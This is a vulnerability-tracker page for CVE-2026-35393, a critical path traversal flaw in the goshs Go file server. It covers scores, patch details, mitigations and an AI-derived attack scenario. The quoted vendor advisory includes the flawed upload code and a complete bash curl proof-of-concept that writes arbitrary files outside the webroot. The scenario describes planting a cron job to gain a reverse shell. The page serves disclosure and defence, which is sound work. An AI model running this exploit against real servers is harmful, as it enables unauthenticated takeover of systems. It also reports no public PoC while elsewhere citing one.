Skip to main content

CVE-2026-35393

| EUVDEUVD-2026-19490 CRITICAL
Path Traversal (CWE-22)
2026-04-03 https://github.com/patrickhener/goshs GHSA-jg56-wf8x-qrv5
9.8
CVSS 3.0 · Vendor: https://github.com/patrickhener/goshs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send POST request to /<malicious_path>/upload
  2. Exploit
    Path traversal bypasses directory validation
  3. Execution
    Write file to arbitrary location
  4. Impact
    Achieve remote code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against default configurations. Any HTTP server accepting POST requests to paths ending in '/upload' with unsanitized directory traversal in the URL path parameter can be exploited to write files outside intended directories.

Impact

This vulnerability presents critical real-world risk with a CVSS base score of 9.8 reflecting complete compromise potential. The attack vector is network-based (AV:N) with low complexity (AC:L) and no authentication requirements (PR:N), enabling trivial exploitation by any remote attacker who can reach the goshs server. The publicly available proof-of-concept bash script demonstrates practical weaponization requiring only curl to overwrite arbitrary files on systems running vulnerable versions. While EPSS exploitation probability data is unavailable for this newly disclosed CVE, the combination of unauthenticated remote access, low attack complexity, and functional public exploit code indicates high likelihood of opportunistic scanning and exploitation. The technical impact spans confidentiality (H), integrity (H), and availability (H) as attackers can overwrite system configuration files, binaries, SSH keys, or cron jobs to achieve remote code execution or denial of service. Organizations using goshs in production environments face immediate risk, though the tool's positioning as a development/testing server may limit enterprise exposure. This vulnerability merits urgent priority despite absence of confirmed active exploitation (not present in CISA KEV), as the low barrier to exploitation and severe impact align with SSVC 'act now' criteria for internet-facing instances.

Exploit ScenarioDerived

An external attacker identifies a goshs server exposed on port 8080 through internet scanning. Without authentication, they craft a POST request to /../../etc/cron.d/upload containing a malicious cron job file in the multipart payload with filename 'malicious'. The server's routing accepts the path (ends with '/upload'), strips the '/upload' suffix leaving '../../etc/cron.d', concatenates it with the upload folder and filename, and writes the attacker's cron job to /etc/cron.d/malicious. Within minutes, the cron daemon executes the attacker's payload, establishing a reverse shell. The publicly available proof-of-concept enables script-kiddie level attackers to automate this attack against vulnerable goshs instances.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

Unauthenticated arbitrary file write in goshs (Go Simple HTTP Server) allows remote attackers to overwrite any file on the host filesystem via path traversal in multipart upload endpoints. The vulnerability exists in the default configuration with no authentication required. The upload handler fails to sanitize the directory component of the request path, enabling attackers to escape the webroot using URL-encoded traversal sequences (e.g., /../../target/upload) while the server validates only that paths end with '/upload'. Functional proof-of-concept exploit code is publicly available. EPSS data not available, not listed in CISA KEV.

RemediationAI

Vendor-released patch available per GitHub security advisory GHSA-jg56-wf8x-qrv5. Users should immediately upgrade to the patched version of goshs identified in the advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5. The fix should implement proper path sanitization by validating that the resolved target directory remains within the intended webroot boundary before writing files, along with ensuring error responses properly return control flow to prevent partial file writes. As an interim mitigation for environments unable to immediately patch, restrict network access to goshs servers using firewall rules or authentication proxies, or disable upload functionality entirely if not operationally required. Organizations should audit existing deployments for evidence of exploitation by reviewing filesystem timestamps in sensitive directories like /etc, /root, /home, and system binary paths for unexpected modifications coinciding with HTTP POST requests to paths ending in '/upload'. Review web server access logs for requests containing URL-encoded traversal sequences (%2e%2e) in upload endpoints.

Affected VersionsENISA

goshs < 2.0.0-beta.3

Affected Packages

go github.com/patrickhener/goshs fix: 1.1.5-0.20260401172448-237f3af891a9
euvd goshs fix: 2.0.0-beta.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in goshs's multipart upload handler (httpserver/updown.go lines 71-174), a lightweight Go-based HTTP file server. While the handler correctly sanitizes uploaded filenames by stripping path separators and extracting the basename, it fails to validate the target directory path derived from req.URL.Path. The routing logic uses strings.HasSuffix to match '/upload' endpoints, then constructs the final file path by joining the unsanitized URL path (minus the '/upload' suffix) with the server's UploadFolder and the sanitized filename. This represents a classic CWE-22 path traversal vulnerability where URL-encoded directory traversal sequences (%2e%2e/) bypass client-side path normalization while server-side code concatenates them directly into filesystem operations. The Go package identifier pkg:go/github.com_patrickhener_goshs indicates this affects the goshs project, typically deployed as a development or file-sharing server. The CVSS vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms network-accessible exploitation requiring no privileges, user interaction, or complex conditions.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patrickhener/goshs) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/patrickhener/goshs).

CVSS VectorVendor: https://github.com/patrickhener/goshs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 03, 2026 - 08:30 nvd
Patch available
CVE Published
Apr 03, 2026 - 04:08 nvd
CRITICAL 9.8

DescriptionCVE.org

Summary

  • POST multipart upload directory not sanitized | httpserver/updown.go:71-174

This finding affect the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:71-174 Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))

The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:

go
upath := req.URL.Path                              // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]         // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized

finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)

The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).

Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.

PoCs:

bash
#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi
# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

---

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Executive ViewAI

Why It Matters

goshs (Go Simple HTTP Server) contains a critical unauthenticated arbitrary file write vulnerability (CVSS 9.8) that allows remote attackers to overwrite any file on affected systems through path traversal in upload endpoints. Organizations running goshs in default configuration face immediate risk of complete system compromise, data destruction, or malware injection without requiring user credentials or interaction.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If patching is delayed: immediately restrict network access to goshs instances (firewall rules blocking upload endpoints); disable multipart upload functionality if operationally feasible; implement reverse proxy with strict path validation rejecting sequences containing '..' or URL-encoded equivalents; enable comprehensive logging and alerting on file write operations; monitor filesystem for unexpected modifications.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Related Vulnerabilities in Updown Server Path Traversal

View all 2

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy